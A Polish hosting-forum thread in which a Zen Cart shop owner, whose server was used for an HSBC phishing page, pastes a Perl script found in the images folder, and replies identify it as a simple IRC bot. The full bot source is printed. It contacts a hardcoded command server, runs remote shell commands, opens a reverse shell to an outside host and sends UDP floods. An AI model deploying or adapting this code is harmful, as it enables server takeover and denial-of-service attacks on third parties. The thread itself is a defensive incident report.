Pokaż wyniki 1 do 4 z 4

Temat: Zencart phishing HSBC Bank

  1. #1

    Domyślnie Zencart phishing HSBC Bank

    Witam

    Jest to mój pierwszy post na forum, mam nadzieję, że dodaje go w dobrym miejscu.

    Dziś dostałem maila od administratora serwera, na którym zainstalowany jest sklep zencart, że konto zostało zablokowane z powodu wykorzystania dziurawego skryptu do ataku phishingowego. Kluczowy fragment:

    We have been made aware of a spoof HSBC Bank web-site being hosted at
    SERVERADMINPL-SC. The hosting IP address is 188.40.127.145 and the URL's
    are;

    {..}/images/hsbc-co-uk/1-2-id-verify/index.htm
    {..}/images/hsbc-co-uk/1-2-id-verify/details.php


    Please take immediate action to ensure that this rogue web site is shut
    down.
    Wiem, że moim podstawowym błędem było w tym wypadku pozostawienie domyślnych nazw folderów. W folderze image znalazłem skrypt perla , nie do końca wiem, czy to jest sprawca całego zamieszania, poniżej fragment:

    Kod php:
    #!/usr/bin/perl
    use IO::Socket;
    srand;
    my $fps        'https';
    my $key      '[email protected]';
    my $street    '81.169.139.12';
    my $door      '17402';
    my $num   '300';
    my $home      '#hacking';
    my $meLen   '7';
    chomp (my $me   = `whoami`);
    chomp (my $bmidl   = `whoami`);
    chomp (my $last  = `uname -a`);
    my $walk     '2';
    open(LOCK'>/tmp/sess_f6wtx4es3wddxwa213s1x1ws1e32ss1') or die;
    unless(flock(LOCK2)) { die; }
    if(
    fork) { exit; }
    $
    $fps;
    $SIG{'INT'}  = 'IGNORE';
    $SIG{'HUP'}  = 'IGNORE';
    $SIG{'TERM'} = 'IGNORE';
    $SIG{'CHLD'} = 'IGNORE';
    package da;
    use 
    IO::Select;
    our $dasocket;
    our $daselect = new IO::Select;
    my $cur_meh;
    sub raw { print $dasocket "$_[0]\n"; }
    sub mmeh {
        
    my $meh $_[1];
        
    my @abc = ('a' .. 'z');
        for(
    my $i=0;$i<$_[0];$i++) { $meh .= $abc[int(rand($#abc))]; }
        
    return $meh;
    }
    sub init {
        
    my $socket IO::Socket::INET->new(PeerAddr => $_[3],
                                           
    PeerPort => $_[4],
                                           
    Proto    => 'tcp',
                                           
    Timeout  => '5') or return 0;
        if(
    defined($socket)) {
            
    $dasocket $socket;
            
    $daselect->add($dasocket);
            
    $dasocket->autoflush(1);
            
    raw("USER ".$_[1]." 0 0 ".$_[2]);
            
    $cur_meh $_[0];
            
    raw("NICK $cur_meh");
            return 
    1;
        }
        return 
    0;
    sub loop {
        
    my $time_out time;
        for(;;) {
            
    my @handles $daselect->can_read(1);
            if((
    time $time_out) > $num) { $daselect->remove($dasocket); $dasocket->close(); last; }
            
    next unless(@handles);
            foreach 
    my $handle (@handles) {
                
    my $datain;$handle->recv($datain10230);
                
    my @lines split(/\r\n/, $datain);
                foreach 
    my $line (@lines) {
                    if(
    $line =~ m/^PING (:.+)/) { $time_out timeraw("PONG $1"); next; }
                    
    elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $home"); next; }
                    
    elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_meh mmeh($meLen$me); raw("NICK ".$cur_meh); next; }
                    
    run::bcmd("$line");
                }
            }
        }
    }
    package run;
    use 
    Socket;
    sub bcmd {
        
    my @line split(/ /, $_[0]);
        
    my $RawMask shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
        
    unless($Mask eq $key)   { return; }
        
    my $Type shift(@line);
        
    unless($Type eq "PRIVMSG") { return; }
        
    my $To shift(@line);
        $
    " = ' '; $line[0] =~ s/://;my $Text = "@line";
        if (
    $Text =~ /^(\Q$cur_meh\E\s+\.|\.)(.+)/) {
            if($2 =~ /^meh\s*(.*)/) {
                if($1) { 
    $cur_meh = $1; }
                else { 
    $cur_meh = da::mmeh($meLen$me); }
                da::raw("
    NICK $cur_meh");
                return;
            }
            if($2 =~ /^bye/) { da::raw('QUIT :;'); exit; }
            return;
        }
        if (
    $Text =~ /^(\Q$cur_meh\E\s+\!|\!)(.+)/) {
            if(!fork) {
                if ($2 =~ /^eval\s+(.+)/) { eval "
    $1"; return; }
                if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh(
    $To, $1, $2); exit; }
                if ($2 =~ /^atk\s+(.+)\s+(\d+)\s+(\d+)/) { pwn::atk(
    $To, $1, $2, $3); exit; }
                if ($2 =~ /^bov\s+(.+)/) { &bsh(
    $To, $1); exit; }
                if ($2 =~ /^join (.*)/) {
                    j("
    $1");
                }
                if ($2 =~ /^part (.*)/) {
                    p("
    $1");
                }
                exit;
            }
            return;
        }
        if(
    $Text =~ /^(\Q$cur_meh\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
        if (
    $To eq $cur_meh) { if(!fork) { bsh($Nick$Text); exit; } return; }
    }
    sub bsh {
        my 
    $to = $_[0];
        my 
    $cmd = $_[1];
        if(
    $cmd =~ /cd (.+)/) { chdir("$1") or da::raw("PRIVMSG $to :No such file or directory"); return; }
        my @sh_out = split(/\n/, `
    $cmd 2>&1 3>&1`);
        foreach my 
    $line (@sh_out) { if($line) { da::raw("PRIVMSG $to :$line"); sleep $walk; } }
    }
    sub j { &join(@_); }
    sub join {
            return unless $#_ == 0;
                    da::raw("
    JOIN $_[0]");
    }
    sub p { part(@_); }
    sub part {
            da::raw("
    PART $_[0]");
    }
    sub rsh {
        da::raw("
    PRIVMSG $_[0] :\002[RSH]\002 Sending...");
        socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
        connect(SOCKET, sockaddr_in(
    $_[2], inet_aton($_[1]))) or exit;
        open(STDIN, "
    >&SOCKET");
        open(STDOUT, "
    >&SOCKET");
        open(STDERR, "
    >&SOCKET");
        system('/bin/sh');
        close(STDIN);
        close(STDOUT);
        close(STDERR);
    }
    package pwn;
    use POSIX;
    use Socket;
    our 
    $s_time;
    sub atk {
        da::raw("
    PRIVMSG $_[0] :\002[atk\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
        $s_time = time;
        my $socket;
        my $packets = 0;
        socket($socket, PF_INET, SOCK_DGRAM, 17);
        while($_[3] > (time - $s_time)) {
            send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
            $packets++;
        }
        close($socket);
        da::raw("PRIVMSG $_[0] :\002[atk]\002 Sent ".$packets." packets.");
    }
    while(1) {
        if(da::init(da::mmeh($meLen, $me), $bmidl, $last, $street, $door))
        {
            da::loop();
        }
        sleep 10;
    }


    Chciałbym zapytać o następujące rzeczy:
    1) Czy powyższy skrypt jest kluczem do znalezienia przyczyny ataku
    2) Na ile cały atak umożliwiła nieprawidłowa konfiguracja serwera
    3) Jakie powinienem podjąć kroki lub ewentualnie gdzie szukać dokładniejszych informacji na ten temat

    Z góry dziękuję za jakąkolwiek pomoc.

  2. #2
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    Pewnie na tej stronie jest jakis skrypt co pozwala na ulpad obrazkow i tam jest blad. Kolesie wrzucili sobie skrypt - to co pokazales w Perlu to prosty bot ircowy, nic wiecej... prosty i skuteczny!
    Druga wazna sprawa to ten plik .php ktory podali Ci w maily z informacja ze na twoim serwerku siedzi phish. Powinienes zablokowac mozliwosc zapisu jakichkolwiek danych dla softu dzialajcego w tej domenie. Nie wiem co to jest jakies forum czy co tam masz ale to jest wlasnie sposob w jaki weszli - blad w tym sofcie.
    Nie zdziwie sie jesli kolesie wrzucili tam wiecej softu niz ten jeden skrypcik perlowy i phish na HSBC BTW Ten skrypt perlowy powinienes wyslac ludziom ktorzy zglosili co sie dzieje - oni beda wiedzieli dokladnie co z nim zrobic i szybko zamkna botnet...

    EDIT:
    Wywal ten skrypt ze swojego serwera bo umozliwia on prowadzenie dalszych atakow
    Ostatnio edytowane przez TQM : 04-04-2010 - 17:35
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

  3. #3

    Domyślnie

    Hahaha , Zen Cart 1.3.8 Remote Code Execution Exploit to cię załatwło, (wiem coś otym). Wina zencard, zrób upload i przejrzyj dokładnie katalogi ./images/ /tmp/ /var/tmp/

  4. #4
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    Ja wlasnie robie mala usluge ktora pozwoli sprawdzac swoje URLe w roznych bazach - jesli ktos zaznaczy Twoje strony jako malware/phishing itp to moj system bedzie o tym powiadamial. Na razie tylko interfejs www ale pozniej bedzie tez mial alerty na maila itp.
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj